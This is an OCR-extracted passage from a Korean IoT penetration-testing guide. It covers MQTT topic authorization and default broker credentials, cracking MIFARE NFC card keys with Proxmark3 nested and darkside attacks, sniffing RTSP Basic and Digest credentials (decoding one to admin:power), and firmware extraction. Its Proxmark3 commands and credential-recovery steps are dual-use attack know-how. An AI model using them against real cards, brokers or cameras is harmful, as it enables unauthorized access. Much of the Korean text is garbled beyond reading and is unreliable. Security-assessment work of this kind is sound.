General BUEEETFOCEGELTEIEN SSL/TLS  Proxy LWT

User Mame | user0l

Password  weessse

Client ID | ¢?504a853d074 5389 6fe4330590b53

T "
Profile Type MOTT Broker b i\‘.\‘-m

Gener...

13 88. MQTT &

user01 AE2Z user02 topic AHE Al HZO| S{A| == A
[User ID: user01 , publish topic: /client/device/user02]

File  Extras Help

i local MQTT
m Subscribe  Scripts

v ﬂ m disconney Broker connection lost: Resetting client.

18l 89. user02 topic AR 7}

user01 AE2E topic wildcard € O| &30 LCHE ALEXHE2| publish HAIX|E subscribe SHERUCE user01

L A4S 50Is} & 9IC}

HA™EOZ wildcard & 0| 2%t subscribe A= A| A0 X == Hg a0l

[User ID: user01 , subscribe topic: /client/device/+]

‘ loeal MQTT

Publish m Scripts  Broker

Broker connection lost: Resetting client.

- 0 I oicon

1

13 90. wildcard £ 0| 8%} subscribe 27}

° EQST
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6.2. [MQ-002] CIZE A8 A8 {7

= g
R ESd . MQIT S412 A8t Clsfolx
. [CIZE AN AL o 2o
HoPY 83 - MQIT Broker0ll CIBEE MAEIE AH AHZO| 7H55t0 B2 HBH0| Qe AS7} CIBE
%S 018501 AH|20| HE U 80| TH5TH H o
+ [¥3] CIZE A™Mo| EXSHX| Y7Lt M&0| Hotel 2L
BEHIIE -+ (39 CIBE Aol EXE 3
-+ [3190] CIBE AFE 0180 AH|A BE U 0/80| 758 S
oy . CIZBE AR Yolo| AR T H2 Jts
%zr2] S9%EE $7s10] 24 320 28
CIZE AN AR
2oty UL MQTT Broker®] 2L 2 BT 014 7|2 HAAE ALSAIH 22 SAEUAD 47 7}
5102 ST BT 0|4 AFZ (ex RabbitMQ 330)

6.2.1. ¥ Case 1 (RabbitMQ)
MQTT Client £ 0|23}0 RabbitMQ AMHO| CIZE A ™

S ek
H==

A E=3FRACE [User ID: guest, Password: guest]

MQTT Broker Profile Settings

Broker Address . MQTTFE2Z7 MH IP

Broker Port | 1883

Client ID | MQTT_FX_Client

User Credentials

General SS5L/TLS Proxy LWT

Gener...

User Mame | guest
Password | eesesee
13 91 CIBE AW B2 AE
CIZE A0l EXHSHX|C ST AZ2z HZ0| 2719 AS = QISHRALCE
(RabbitMQ H{ T 33.0 0|42 H= 7|2 CIZE AEHLAE) A AL EZH S AEE ST A

20| 7tsdh

‘ local MQTT

Mot authorized to connect

m Subscribe  Scripts  Broker Status  Log

% 92 Hd

=7t

62
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6.2.2. F 2 Case 2 (HiveMQ)
HiveMQ 2| RBAC &% =2 12 HX|S5tH C|ZEE Ad0| =0 ULt

[t AFEXLID : user1 , Password : pass1 / admin ID : admin-user , Password : admin-password]

userl

WFNQUVBOUkxX jMO4xa@hSR1BQNGhuOTIKVzdlbXA4bjk=:100: FY12nwpUEbBK9IEKQ/Av/rQKS0A7 jXsCOHKE
LwU2mLCVU39bIVKOz f4NemuFeDOHPO4BW1n0jxi6NporkCérlog=

rolel

admin-user

Vjc1a@1lxQ3NvbO1l jNFVHNEOWRNM3RG1IZmdNUFcwVGY=:100:PL2FLqfpdhONG7gX jAMmdVn4wlMiXnypdXi
FW@9zqorFhKgoiixFQw2EVIIfE9Zn79q45V7Xpc6IeKLpOntmYA=

superuser

18! 93. HiveMQ C|ZE AI™E

CIZ2E AFCE & AZ5HY topic Off HAIX[E ELi& 20| 7kS5HRALCE [Default User ID: userl, topic: test]

test@ubuntu:~$ mqtt pub -t test -m test -h test.hivemq.com
CONNECT failed as CONNACK contained an Error Code: BAD_USER_NAME_OR_PASSWORD.
test@ubuntu:~$ mqtt pub -t test -m test -h test.hivemqg.com -u userl -pw passil

test@ubuntu:~$

>3 EQST
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6.3.[MQ-003] M&t HS

a5 g
MAZ=A - MQTT EAI8 A SH= C|HfO|A
MQTT S4! 712tof Lot B2TS A SQEE =& 0| F =)
g 29 st 7t A2ot HEO| 0|t T HE == U LE=EH T2 YE 48| 7tsT Ff
H
+ (] SARZ SSLZ Mot D U2 FP
B 7|E + [Y2] SR 453 HgtD UL B2
+ 721 T2 YL HS A 52 2 Y=o HE Ol
#op .
o SREEE +4s0] 2% BH0| 28
oo
HWE M Al 255 EASSH XME Ze
& #2 U ArEAS S2YE Y=t
6.3.1. #2f Case 1 (RabbitMQ)
MQTT E27{ MHZ publish HAIX|E H&tD Wireshark & 08310 MQTT Ezfd =0l A| HECR

M&EE A HOISIACE

9 @.811669444 MQTT
10 ©.811768129 TCP
11 ©8.811770724 TCP
12 ©.8118356081 TCP
13 0.0811840071
14 ©.811982133 TCP
15 ©.815931718 MQTT
16 ©.815946262 TCP

Frame

Encapsulation type: Linux cooked-mode capture wl (25)
Arrival Time: Aug 6, 2021 18:29:00.141855611 KST
[Time shift for this packet: ©.000800008 seconds]
Epoch Time: 1628242140.141855611 seconds
[Time delta from previous captured frame:

FTime elmldm Fmmem memmsed meim sl mm] ;s S mmnm

©.008805078 seconds]

A AOAANEATO e A

106
69
68
68

68
72
68

Connect Command
39699 - 47676 [PSH, ACK] Seqd
47676 — 39699 [ACK] Seq=1 AcH
1883 — 35649 [ACK] Seq=1 Ack4
Publish Message [/topic/@

1]
1883 — 35649 [ACK] Seg=1 Ackd
Connect Ack
35649 —~ 1883 [ACK] Seq=86 AcH
13: 109 bytes on wire (872 bits), 109 bytes captured (872 bits) on interface any, id @
Interface id: @ (any)

0 00 B4 9O 01 OO 06 80 Gc 29 T4 9e 94 00 OO0 B8 00 - Ce

[0 45 00 06 5d al 11 40 @0 40 06 97 29 cO aB 40 87 E -] @

) c@ ad 40 88 &b 41 @7 Sb 93 @6 97 31 af 8a 72 hd @A [

0 80 18 01 6 02 b 00 @0 01 01 08 @a O T2 39 da :

1o 25 3d 97 f0 30 27 @0 09 2f 74 6T 70 69 63 2T 30 %— B' + ftopic/

S0 31 75 73 65 72 Ge 61 6d 65 3a 20 74 65 73 74 2c lusernam e:

20 70 T7 3a 20 TO 40 73 73 V7 6T T2 64 pw: e
a3 95. HIo|H BEHS

64
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bbitMQ)

2I5t7| fI8f MQTT EciH =tQl Z1F TLS 7t HE |0 U= AS = lsRiLt.

TLSv1.3 585 Client Hello

TCP 68 5671 — 54788 [ACK] Seq=1 Ack=518 Win=64768 Len=0 TSval=625504428 TSecr=4043117203
TLSvi.3 2427 Server Hello, Change Cipher Spec, Application Data, Application Data, Application Daty
TCP 68 54788 ~ 5671 [ACK] Seq=518 Ack=2368 Win=63488 Len=0 TSval=4843117216 TSecr=625504441
TLSv1.3 2139 Change Cipher Spec, Application Data, Application Data, Application Data

TCP 68 5671 — 54788 [ACK] Seq=2360 Ack=2589 Win=63488 Len=0 TSval=625504443 TSecr=4843117217
TLSv1.3 98 Application Data

TCP 68 5671 —+ 54788 [ACK] Seq=2360 Ack=2619 Win-64128 Len-0 TSval-625504443 TSecr-4843117218
TLSv1.3 597 Application Data

TCP 68 54788 — 5671 [ACK] 5eq=2619 Ack=2889 Win=64128 Len=0 TSval=4843117219 TSecr=625504444
TLSv1.3 385 Application Data

TCP 68 5671 — 54788 [ACK] Seq=2889 Ack=2936 Win=64128 Len=0 TSval=625504445 TSecr=4843117219
TLSv1.3 110 Application Data

TCP 68 54788 — 5671 [ACK] Seq=2936 Ack=2931 Win=64128 Len=0 TSval=4843117228 TSecr=625504445

TLSv1.3 110 Application Data
TL5v1.3 106 Application Data

TCP 68 5671 —~ 54788 [ACK] Seq=2931 Ack=2978 Win=64128 Len=0 TSval=625504446 TSecr=4843117228
TCP 68 5671 ~ 54788 [ACK] Seq=2931 Ack=3016 Win=64128 Len=0 TSval=625504446 TSecr=4843117228
TLSv1.3 163 Application Data
TCP 68 54788 — 5671 [ACK] Seq=3016 Ack=2966 Win=64128 Len=0 TSval=4843117221 TSecr=625504446
TLSv1.3 183 Application Data
TCP 68 5671 — 54788 [ACK] Seq=2966 Ack=3051 Win=64128 Len=0 TSval=625504447 TSecr=4843117221
TLSv1.3 1606 Application Data
TCP 68 54788 ~ 5671 [ACK] Seq=3051 Ack=3004 Win=64128 Len=0 TSval=4843117221 TSecr=625504447
TLSv1.3 116 Application Data
TCP 68 5671 — 54788 [ACK] Seq=3084 Ack=3099 Win=64128 Len=0 TSval=625504447 TSecr=4843117222
TLSvi.3 117 Application Data
TCP 68 54788 — 5671 [ACK] Seq=3099 Ack=3053 Win=64128 Len-0 TSval-4043117222 TSecr-625504448
TLSv1.3 113 Application Data
TLSv1.3 112 Application Data
TLSv1.3 105 Application Data

a2 96. TLS M & &9l
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7. NFC HZA AN
7.1. [NFC-001] 7| = G|O|E{ = H|

2 . NFC SA12 ALg3}E 712
. = HolE 2| 7ts ol
. 7hE L GlOjE] 2 £ 283 7t AFRO| M5Bt F o

—

T 71E -+ [F] HIOIH SH X =X 7tE AFEO| 7t

X|OFX
HErS . BRSHFIEE 0|83 BY Q1S AR S 2480| IHs
(0: k1 =]
oo T
L OHEBE 2t} 7|2 AFRBIO] O|O|E| HEE K|St
- HIZALO| M M| SSt= default key '3
- OFESH US B 7|52 HESlS Ef AR
E{10HCH K| Y8t 7|50| Ato[sl 22 EFY & 20l T Q)
HOLCH X

_E]J
x

0=
\d

ex) NTAG2| 4<% UIDO]| NXP01|*1 MNEots I:|7( WS F71510] SHXIH S XS
O AFRSH A| S5 M ZAZS E8)| 2X| 0]22 340I2}

7.1.1. FH Case 1 (=02 EQIIE)

22X CHao| FIE EtRQO| MIFARE Classic 1k &S =tQISIRACH MIFARE EFRIl FtE&= AMEIIE, WETFLE,
ZEQUIIE & HEHO|M 0| AFR2E|D QIO T, MIFARE Classic Et2 F fst EFQ Q| Ef & SfLIO|C,

[usb] pm3 — hf search

©® Searching for IS014443-A tag...
UID:

[+] ATQA:

] SAK:

] Possible types:

r
L
(
[
[+]
[
L
[
[

] proprietary non 1is014443-4 card found, RATS not supported
] Prng detection:

] Auth error

] Hint: try ! f  commands

[+] valid / found

12! 97. Ef 1 EFY ol

—

66
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E= BE MEZF €2 7] 2E A8ot AN, LT 7| gE MEst UX| @2 EF nested,
darkside 52| EE2| = &ofl 7| &S A™StE WY S AMOISICE Y 7tE= 2E MEO ST 7| U=
Abgot fleBz BExol 54 §l0] 7] ¢t HEES 2ASHRUCL (hf-mf-UID-key.bin T+ 0| &g = Ct

:Failed / 1:Success )
Generating binary
Found keys have

] FYI!

)'" file
been dumped to
; ¢

—

has been Lagsrttd ?Ur unknown keys where

%l 9s. 7| =Ql 9 7| oY HIO

=
[=]

[Fi

¢t 7| S 0[8510] 7tE W HIO|EHE EZoHRUCH

] Succeeded in

+ bytes to binar

) dumping all

to text f

blocks

file
ile

(bin, .eml, json A 7HS| Lt 0|

d loaded &

64 bloc

file

ks from

38l 99. 7| utY 2 0|8

=X[otACt.

~dump . eml

file

22

810 Gjo|E| W=

a3 100. C|OJE] B =aj

67
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a2 101. ¥l 7tE0| H=EDHY 2X

12 102. B8 7IE ALE

° EQST

Exparts, Qualified Sacurily Taam




7.2. [NFC-002] 7|E H|O|E{ =

U - NFC S5 AH&5t= 7tE

. PIEQ| HI0lE BIE 75 0%

7t= L UUID, HIOIH g ¥ = ot 7kE AE0| 7hsth o

T 71E -+ [F] HIOjH HE U BT ILE AMEO| 7HsT 4%
SRS
- O|OJE| Bixot 7LEE 0| 8%t Z¢ 21T, 80| 7t
ofstad
oo
- QT 23t 7|8 AFSHO] H|O|E X
- HIZALO| M M| SSt= default key &
- OHES 223t 7|52 ME5hes Ef AR
(EH10Ct X| &St= 7|50| HOIStE2 EfY EH =0l ER)
LhIE

s

CEj7 S Blo 7|0 9IHE WK HE

- Lock bytes 27851 FHo =2 M7|7F E7I5IE R

—

o
o
[

(EN0tCH X|Qsk= 7]550] Alojstaz EfY @ Stol TR

)
ex) HHAFIES| 42 Y=ot 20| AX|E 2[E7[E 08510 gs

7.21. ¥ Case 1 (LS7IE)

CHAF 7FE EFRI0| MIFARE Plus O] 1, SL mode 7} 3 22 MM &0 AES

[usb] pm3 — hf mfp info

No card response.

lentication based on AES, data manipulation commands

method.

1% 103. E4 EFQY 20l

69

secured by AES

encryption and an AES
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24l 7| AMEOt K| HEE 2RISR,

[usb] pm3 — hf mfp chk
[=] Loaded 26 keys

Search keys
.RE
[=] No keys found(

8! 104. Ef EF! =2l

7| o =/ 50| E7t510] HjOJE =l 8l #HzTF S 7+5t ALY,

=

0 EQST
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7.3. [NFC-003] F| st A=} 7| AL OfF

= Lhg
e

U - NFC S5 AH&5t= 7tE
F oot e=st 7| ALE 017

2% 7|8 AFEOIALE E2HY0| |2 FtE FEEE AFESHY 7| 3 30| 7Hsot 9

oF

r

o

-+ [F2f ZE MEO| YT T AL

<+ [F2) 17 O Ao LTI 7|2 AFREIY nested, hardnested 34 S 0|2%t
7| A=0| 7ts% 8%

T I|1E -+ [F2F) NACK F 20| =XSH0 darkside 5242 0|83t 7| A=0| 7ts3t H P

-+ [F2H L7] AR 7| AFE3I] dictionary 342 0|83t 7| 30| ItsTt 2

© o+ [F] 7IE FHER 3B E

1= —
+ [E2] Qe st 7| = QETT TS| B S AL

ot0| 7| A240| 27ts%t 8BS

j:ﬁ - 253 7|E 018510 7t Lf HIO|H E=3t A 5X & 480 &8
e
- MIZ=AFOIAM 7Yt default key HZBHO] ALE
- OHEISH A3t 7] AFRSHY] H|O|H Y=o}
oty OIS Q| Ef O AME (EHOIC X[ {SH= 2= 7[ 30| A0St 2 Bt E =0l HR)

X F2 ABEl= MIFARE A€ Ef19| Z< MIFARE PLUS O| 42| E§1E AMHESHH, MIFARE
PLUS A8 A| HOt =FS SI32= 27

7.3.1. H < Case 1(287IE)

CHAt 7F= EFRIO] MIFARE Classic 1k 0| 2, prng detection O] weak 91 A& 2HQlst ALt

[usb] p — hf search
L ching for ISO14443-A tag...

014443-4 card found, RATS mot supported
Prng
Auth
Hint: try “hf mf  commands

Valid IS0 1444 tag found

12! 105. Ef1 Ef

1454
fot
]
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FOI A 25 MO M 2

=]
2!

23} 7|

AL8310] nested SA2 Al =St

27 7|2

ot
=

4
Y
Y
Y
e
e
b=
b=
4
4
Y
Y
]
|
]
1
o
[
]
=i
=]
|
I
™
—
|
1
=
@
|
u
W
=

— hf mf

[+] Testing known key

[usb] pm3
[

—
=
=
=
[=]
o
-
[=]
i
[
W

S.

0.4s | found

[+] Time to check 23

=
(]
wn
En
o
"

Chunk:

=]

seconds

4]

known keys:

12! 107. nested 34 A&

ME{9| 7|

=%
—

nested 340 43510 =2

ME| 7| 3

112! 108. nested

EQAST
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@24 by
54 bloc
d to json

Jhome/kali/iot/proxmark3
.bin

a3 110. Hlo|E{ =tol
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8. RTSP H& &Nl
8.1. [RT-001] A X} QUE &

TE L&
HHz=A RTSPE O|83t0] &AlZt =S MSshes 717|

+ [YBIRTSP G2 Al ABAF 2152 S8 B
+ (20 HE0| 215 gl0] YA HE HA0| JH53 FP

X|OFX]
T|—| (== N
orstad - H| QIZEXtO| GA HE FRO=Z Qs YE £&
oo
-RTSP ¢1Z A| AFEX} Q1Z 3
2 O _RTSP A{H| 725 A| AFRX} O1Z 2 & 27}

Case 1 (IP 7}H|2hH

T&SIX| GOt FFplay & 0|8% F& Y& =QI0| 7hsot ALt

tcp “rtsp:/f
pyright (c) 2003-2022 the FFmpeg developers

built with gcc 12 (Debian 12.1.0-7)

configuration: --prefix=/usr --extra-version=2+b1

=hardened --libdir=fusr/lib/x86_

64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --arch=amd64 --enable-gpl --disable-strippi

ng --enable-gnutls --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-
libbs2b --enable-libcaca --enable-libcdio --enable-libcodec2 --enable-libdavid --enable-libflit
e --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libglslang --enable

libgme

enable-libgsm --enable-libjack --enable-libmp3lame --enable-libmysofa --enable-libopen

jpeg --enable-libopenmpt --enable-libopus --enable-libpulse --enable-librabbitmq --enable-libri

12! 111. RTSP H& Al
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8.1.2. &3 Case 1 (IP 7IH|2hH

AR AEE 01 8%t 21T 2X 0| EX5IA & Al Al 401 0|27 45U,
XDG_RUNTIME_DIR (frun/user/1000) is not owned by us (uid 0), but by uid 1000! (This could e.g. happen if you try to
to a non-root PulseAudio as a root user, over the native protocol. Don't do that.)
XDG_RUNTIME_DIR (frun ) ed by us (uid 0) uid 1000! (This could e.g. happen if you try to
a non-root PulseAudio root user, over the native protocol. t do that.)

/0

5. RUNTIME_DIR (/run/user/1000) is not owne

d by us (uid 0), but by uid 1000! (This could e.g. happen if you try to
on-root PulseAudio as a root user, over the native protocol. Don't do that.)

121 113. 401 ofj2] LA

75
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T= e
M= RTSPE O| 8310 HA|7H S&Z M3st= 77|
ok A0 [Tt Q15 AFE O 2
TI—o 2o o
Flofot 215 AFE 2R QIsl QB0 A El= A HEt = ™
et ) + [FZ] oIS QIS WA S AR S B2
oot 7|
el L " " . "
+ [F2] F ot QS S AFBSHY A HE 2 50| 7tst 49
FH
L F oot QB AHELE Qlot A HE &=
sk
oo
ORI} O|= HHA| AR
- OIF X& A| HTTP digest 215 AL

8.2.1. ¥ Case 1 (IP 7}H|2hH

A8 1SS S RTSP Y ‘Y& 27 A| HTTP Basic = 0| 8¢t AT S A5t AUSS & + AL
DESCRIBE rtsp:// :8554/media RTSP/1.8
CSeqg: 4

[Authorization: Basic YWRtaW46cG937XI|
User-Agent: LibVLC/3.8.17.4 (LIVES55 Streaming Media v2816.11.28)
Accept: application/sdp

RTSP/1.8@ 2808 OK

CSeq: 4

Content-Type: application/sdp

Content-Base: rtsp:// 18554 /media/
Server: E

Date: Wed, 12 Oct 2822 86:13:56 GMT
Content-Length: 492

12! 114. HTTP Basic Q15 A2

Jlot

5¢ Q1T 2tS base64 C|2 010} A Y YEE 252 = U

YWRtaW46cG93ZXI=

3Q

C}.

admin:power

12! 115. HTTP Basic Q15 Al
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8.2.2. ¥3 Case 1 (IP 7tH|2hH
AN QAF5ES St RTSP G4 HE 28 Al HTTP Digest 2152 At&3stn 0], Q1F FEIL olo| =1t &
SHA|Zt |0 MR QUALCE

DESCRIBE rtsp://f | :554 /stream che® & RTSP/1.8

CSeq: 4

Muthorization: Digest username="admin", realm="iptimeRtspServer",
nonce="3b27ad46bfad9b8cA8c3edb83139543d", uri="rtsp:// :554/stream_ch@@_oa",
response="44c6e2945d6d8ceff88bc9dB3I9d66des”

User-Agent: LibVLC/3.8.17.4 (LIVES55 Streaming Media v20816.11.28)

Accept: application/sdp

RTSP/1.8 288 Ok

CSeq: 4

Serwver: m =

Content-Base: rtsp:// 1554 /stream_ch@e_B/
Content-Type: application/sdp

Date: Wed, Oct 12 20822 15:47:07 GMT

Content-Length: 336

1%l 116. HTTP Digest 215 AL2
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8.3. [RT-003] F st A A Hsk 2|

o [YE) A ANA A

o+ (o0 ANA et 12| )

x| 0k
g - N N -
St o - Forsh A& ek THal2 QIEk Uk BRI YN HE HS
(=)
oo T
o P e
!

- gstreamer9| 4% gst_rtsp_auth_new (), gst_rtsp_server_set_auth() AL

8.3.1. F 2 Case 1 (IP 7IH|2H
2| XHQ admin Al™DF L8 AR X user AEE ARSI Je 7|70, Lt AFEX A™E 0|85 B

Al = 3HACE

o

& OO 27 - *

D OHEEEY G CIAZDy S5 UEHIM) 2 A ZAD)
HEHI Z2E=S
HEHI =45 LM A

| Hspi/fuser: 8554/ media w

htpeffwmm example, com/stream, avi

rip @i 234

mmasmme exanples, comdstream,as:
rtzpffzerver.example.org:8080/test.adp
Rttp A vourtube, comdwatch?v=ggGdx

TP v

12! 117. HTTP Basic 21Z AL
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- Mobile App= S¢t 10T 7|7| H|Of =&

* [Server, App FLHE = =0l
- Device2l A& E|= Mobile APP & ServerOf CH2H FUH HHS =&

ot
=
0%

. Ygt o= T A gol st a2 of2let 28
- [Server] API Server, Cloud Server, Auth Server, Commnad Server &
- [APP] Mobile APP (Cloud)

- [Device] loT Device

X[Server]
loT ¥& Servere CHEE UIZH B NSEX| R2D Json, xml 52| HEZE LS =™
SICE Olof et B HE =S M0t BEAl HHO0| ERSICE RN O 2 HIEA| HOot
Of o= #|ofd 52 Ci3a 2t
- AFEXE & Zholl ook FFF (SQL Injection, XSS, IHY HEE &)
ASBY YE QB £, HrLE 5)
- M M, weinty e o

*[Mobile]
D ABOR of2fel 2 MBS DR{Bl0] Y WY 84Tt S B HYoR B 4
ULE.
- Ao|= C|HIO|A S5, oA, 27|32t 715 Off
- AEBAZ2H HE S5, HYE, oA Al =l BAIF Qo UolZ HE
- ClHO| A 24 7hs-dof| o8t 273t B2 Lock 7|5 Sl&

. f/2HHY 7}0|E BT

. f/2bHY Fjo|E AT

H 23. g/t HE
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ol "AEA 0 WEE= E

I7IM O E = =8 SHg M2 SHots
A e HhEohs Do|AZE2 MM e e 2EMN(JIES CE £ 2|52 HE)E Zert

10.1.1. YHC|E 2|52

loT 7|7|& Yoz SECIAAE £8% £ Qe A NEB0| Mol Mo, & J7to] Y4Ystx| 2310
ROM O|L} Flash Memory & SIEC|AINE ALt 2540 AP Y=L AL 1, AAFET}
SO Qo] 2 WU Jiol He|sty| ME0 HEE29| UHCIE AAHME 2|5AE AL 2l52E

a
R Al =AM HMSdiE O|0[X| mpe 1 /§Th Ch220F AX|5HH Z|X| 2 AHICIE AJAE

OS Kernel, Root File System?, User File System?2 ZZf O|0|X| It =2 TH=0f

rlo

Boot Loader,
THA|74OF SHLCE,

0

I
Q
[%2]
>
<
o
3
o
<
=2
il

0|, Boot Loader, OS Kernel, File System & F0{ Heloj2t1 £2Ct,

or2fo| &

7|E9| 2|52 YH|CIE 2522 XO[O|Ct.

=
[
=
=

Sl

BlEA

YHICIE 2|52

F A8 EE

HA3E PC B2 AMH

YHICIE A A FX|/HH|

A CPU oldl AMD & ARM, MIPS, AVR32 &
Boot Loader, OS Kernel, File System S&
AX| gty ZlsA HiZEHo 2 A 44X 7ts Y °=

O[OjX| MU= TS0 2X|

AAE Xt AR

HDD, RAM

= =
o —
SLEQIOE 0|8 At 220 £EO|

Flash Memory, S-25tX| X2 RAM ALE.

AMAEO| X asl/E X HR

A ol=

OS oA X|&3tof Z0[=7F +=

Mz=AR 52 AHEAZE AE Y80S

Si==0{OF &

" Ramdisk 2t? 0| =22|o| YR ES

tE 23X AHEsHs A

3|
23.1.2 o] F=0iAM HY3l= File System 2 User File System 0|2t &
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10.1.1.1. &l 1™

Boot Loader Boot Image Kernel Init
g
oI7} Kernel Root File System User File System
=
U-Boot
Ramdisk Init /etc/initab S
a8 119. YHICIE 2152 28

UH|C|= 2|5 2= Flash Memory Of Boot Loader, Kernel, Root File System, User File System & A&t QACt,

loT 71710 R0 QI7tE[H Flash Memory O MZE X0 UE Boot Loader (FZE U-Boot AHE)7} O Z22|0f
ZCEEICH 422 7t Hué}ﬂ %2 UAHCIE A|AE E44 Boot Loader = Kernel Image 2 Ramdisk Image £
HZzo 2= 3t = HZ2|0A AESHCE Kernel 2 Ramdisk & 0|83} Root File System & O+RES|L,
initrd Off A= linuxrc CIHE2| L} M-S dHAZI = ZSEELCL 0|2 {22 Root File System 0 A User File

System © 2 File System & T &tstC}

ry

10.1.1.2. HHlof

loT 7|7|0| M= SIECIATE AFBE &= 810, £7|0& M& S37t22 ROM 2 F2 AFE3ULCE SHX|BF ROM(Read
Only Memory)2 E0|E EHO|E Al &3 WM[8{0f St= THEO| U0, MK 2 ROM 2| 2F 2l EEPROM 2
A8 8t7| A|ZSHCE EEPROM 2 1byte M Read/Write & = 20|, &8 nHstX| Y= HYOE UM 0E &
2 QUCH SHX|2t £=7F Qo] 2|1, 7|1&§ 3l Msto] 7| WEo| £ 20& Flash Memory & T2 A3t

Z=MOICt Flash Memory £ H{st= I7|E XFAME Read ¥ = UL, =ETU/AZ write 17| O
EEPROM ELC} &M W21 7| 3l Koo A 24X XtfSCt

YHICIE 2[S20M AFEE|l= TtUA|AE-2 & 4 7HX[O|C

File System
,C T T T T T T T SN/ T~ TTTTTTTTTTTTTTTETTETTETEETETEETT \\
[ Root File System !/ User File System
|
1 |
|
Linux File System : | Rom File System Flash File System Read-only File System
|
|
;ﬁiﬁ’;‘é N Romfs JFFS/IFFS2 Cramfs
|
|
xfs 1 I\ Yaffs/Yaffs2 Squashfs 1
\\ ’ S~ 7

It UA|AE2 Root File System 1t User File System & 7}X|2

71719 M&E Z7t0o| O{QEX| A0} initrd TF HRstD Yol LR mMAS TE AWAIZI 0|F User File
System S 2 HEHEIC}H

User File System 2 Rom/Flash/Read-only M| Z}X|7t ZX{SH=Cl, Rom 2t Flash = 22 Rom Z2 Flash
Memory & File System O|C}. Read-only File System 2 QH|CIEZ} Ot Z|SA0ME AFEO| 7HsSTHH,
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Y=E0| =0 HHICIE 2520

0| AFE3t

CS
. _|_°|_I',

ULt

Flash File System & 283}0] AI&3%t= 2<% ULt

11082524
11083788
11090136
11091968
11100484
11107816
11114948
11154176
11162404
11165804
11176376

OxA91B1C
OxA9200C
OxA938D8
OxA94000
OxA96144
OxA97DES
OxA999C4
OxAA3300
OxAA5324
OxAAB06C
OxAAT248
OxAAEDOO

XML d
JFFS2
JFFS2
JFFS2
JFFS2
JFFS2
JFFS2
JFFS2
JFFS2
JFFS2
JFFS2

ocument,

filesystem,
filesystem,
filesystem,
filesystem,
filesystem,
filesystem,
filesystem,
filesystenm,
filesystenm,
filesystem,

version:

7h

little
little
little
little
little
little
little
little
little
little

||1-0||

endian
endian
endian
endian
endian
endian
endian
endian
endian
endian

11198464 Squashfs filesystem,

ompression:xz, size: 3500042 bytes, 102 inodes,
2020-08-20 01:54:56

16285696 OxF88000 Squashfs filesystem,

omprcSSLOn Xz, size: 345886 bytes, 28 inodes,

g 121. "9l =28

little endian,
blocksize: 131872 bytes,

little endian,
blocksize: 131072 bytes,

2tXto| o= 0f 2} Read-only File System 1t

version 4.0, c
created

version 4.0, c
created:

4 o X
10.2. @90 =&
loT 7|7] ZIEt Al HYYOE =5/F=0| 7tsst 4% HAO At JdALY 2EMZ Sot FAE ZFILHO|
7tsoiZICt RIEE Al HRAOE HMIH F= ZF2 &4 250| 7tsoHX|E, MIEHX| Zdt= 49 HANE
2|55t= 1Yol Eastoh HYYo 25/F22 sl HAN FHE[0fof St= IE2 MZAS| EHYO 374 &
20100 K ZALOIM HAYOE S/StRAS EF or2fel == nbd 8lo] HANE =gA =5 = UCH
AU ZF SHEO UK AUCHH HOO|E izl AL|E, O ZE, E2A| K22 HZ S 0[&310 HYOE
= olOF DLt

Hello =& o1 e
No
© B7HE HAY @udoS AR 20 ® HM1 ZEUARTJTAG) @ EHN = B

o mmy o= Sroi i |

P Eme T ieRY o K

5 T ¥ T i T ¥ !

| i i ! | s |

; ﬁ‘ zeojzg M}‘ UART ZE 4% ‘ ’ JTAG ZE A1d ‘fi

i w‘ Ay ‘H‘ Eojd 4z ‘ ‘ Tt ‘ii Al HEa BE ‘f

E‘ mglof ez ‘H‘ Eglo| B ‘H‘ BHC| 58 ‘§§ molof 2= ‘

’ "ol Y ‘

a8 122. Hellof &5/FE S8R
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10.2.1. 270 EHAA

Hello =& o8 s
MW No
® 27ME H3of ® Yrlole WA AUB @ 141 EE(UART, JTAG) @ EAMHRE E=

gool=

‘ ‘\ 5= f ‘
‘ Zeoja ; ‘ UART EE 48 ‘ ‘ JTAG ZE A ‘
‘ e ‘ ‘ Hoe e ‘ ‘ TTAG G o ‘ s HE
‘ mojess ‘ Holof Am ‘ Holo] 58 ‘ ’ Hlof 55 ‘ |
I B! £4 ‘

A% 123 HHllo| &5/ SEX - SHE A

HZ=ALOA HAAE S7Hots 8%, LEH2Z Hz=A SHO[X[0|A =4 HAONE CH2ERE
W2 o FH[7F TR0t W2 A|ZH0] 2257 20| Mz=AS] AN S
= MZ=AL SHO[X|0|A AU LI22EE MSdhs Of AL,

B Tl il M. Bl Firm|| | CHRRE

_9 ﬂl°l
rulru
1o
ro
Ot

H 5 [Bdn]

Okl
10

7 E

I:IE.

A0
B = = "= =0 Firmware

1416.4 H| = H| & W A A

MILIBACERE ]
14164 LHEEE ]
8% 10164 THEEE ]

[
— e

4.49.1.47 (March 17, 2022) |

a3 124, H=At FH 0| x[ofl Z7HE HUof
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10.2.2. YOO E mjZl AL|H

o =& 1" W Yes
No
® 371 HYo @ YHI0lE W3 2L @ C|¥ 1 ZE(UART, JTAG) ® B e =
[ s N ¥ >
// HIEA ~_ — Hdjo|E T 1 Oy EE T I
L EdNEA T isss = % ‘
T — ‘
. ‘ Ze0j2y ‘ ‘ UART ZE 4= ‘ ‘ JTAG ZE 48 ‘ . :
i ‘ HHAHY ‘ ‘ efolg @@ ‘ ‘ Ty ‘ H ’ BalA Hza B ‘
| ‘ Helo oiems ‘ H ‘ B0 2= ‘i} ‘ B0l 5 ‘ i ‘ B0 38 ‘ 3
’ Helof 24 ‘
T S 2
2% 125 BY0| 5/8S SEE - YHO|E I ALY

Mz=ALOA HANE SHStn AR @2 E2, 7k AN =elgjor & A2 YUH0|E 0| CHI ZES}
Al 22| Bx= 7718 2ot HEE ot= S 7t BXE AX|A ==, ol 7|77t 7HE = A=
ol At AeiM 7|171& =oliokr| H A Yoz YHHo|E & I ERIA &Y =75 0|83t TE Uiy
71712 HANE =2Ssts Y-S Al=oto{of ottt YAHOIE Izl ALIES 0|8¢% HYO =2 TEHOHY
71717t YHO|E Al SHFZH A2 SHSSL/TLS)E AHESHA| Bi= B20|2 B =50[ 7hs5tCt

YHOIE Izl ALEE ?loiM= ZE O|2E 7|s& X|&ots 74 AP/ARAKH 27 RS} HEYT 24

E 1= WireShark 2F NetworkMiner £ A3t}

T B3 23
WireShark https://www.wireshark.org

W NetworkMiner https://www.netresec.com/?page=NetworkMiner

H/W ZE 0|22 7|8 XYt FM AP/ARIX|S|E ex) iptime N604S
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10.2.2.1. ZE 0|

Request URL

———————————————— - _—,
-
Firmware
AP

